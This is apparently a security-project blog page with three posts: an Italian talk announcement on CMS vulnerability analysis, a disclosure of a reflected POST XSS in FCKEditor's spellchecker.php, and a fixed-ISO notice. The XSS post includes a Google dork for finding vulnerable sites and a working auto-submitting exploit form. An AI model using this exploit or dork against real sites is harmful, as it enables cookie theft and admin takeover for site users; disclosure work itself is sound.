Talk @ HTML.it Release Party

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Raffaele Forte speaker all’evento organizzato a Roma il 2 Luglio da HTML.it.

Il founder del progetto BackBox Linux interverrà in materia di Sicurezza Applicativa con un talk dal titolo “CMS, Analisi automatica delle vulnerabilità”.

Un CMS vulnerabile può permettere ad un attaccante di prendere il pieno controllo del sito (Blog, Forum, e-commerce, etc.), fornendo la possibilità di modificare i contenuti, creare e rimuovere utenti e nel caso peggiore ottenere persino il controllo del server su cui è installato. Sempre più aziende ed enti istituzionali adottano questi strumenti, ma quali sono i vantaggi e che livello di sicurezza garantiscono gli attuali CMS? Affronteremo queste tematiche servendoci di metodologie e strumenti automatici di verifica delle vulnerabilità.

Maggiori informazioni le trovate sul sito ufficiale dell’evento.

FCKEditor reflected XSS vulnerability

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Emilio Pinna has recently found a reflected POST XSS on a popular web WYSIWYG editor called FCKEditor. In 2009 has been rewrited and fixed with new name CKEditor, but old version is still popular as stand-alone application as WordPress/Joomla/Drupal extensions and embedded as editor in of web applications.

The bugged software was spreaded for more than six years and actually Google counts still more than 1,5 billion of results. A plausbile Google dork filtering out PHP sources could be:

inurl:fck_spellerpages/spellerpages/server-scripts/ -”The following variables”

The vulnerability

The reflected XSS is injected through ‘textinputs’ POST parameter array, printed without sanization in line 27:

echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";

As usual, attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user’s browser session that visit resulting in a cookie stealing and bypass of admin access controls. Exploit is CRSF-like due to POST vulnerable parameter. Form exploit:

<html>
<body>
<iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe>
  <form method="post" name="sender"
   action="http://vuln.com//fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/
spellchecker.php" target="hidden">
   <input type="hidden" name="textinputs[]" value='");alert("THIS SITE IS XSS VULNERABLE!");
</script><!--' />
  </form>
</body>
<script>document.sender.submit(); </script>
</html>

Have fun!

GRUB error being fixed on BackBox 64 bit version

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After release of BackBox 2.05 we have noticed that the GRUB being corrupted on ISO image of 64 bit version. We would like to inform everyone that the error has been fixed and the new ISO image being uplodaed on our official mirrors. In order to avoid any sort of problem, we would like to invite all users, to download the new ISO image. We would like to also thanks to the community of BackBox users for notification of this error.

Enjoy your BackBox!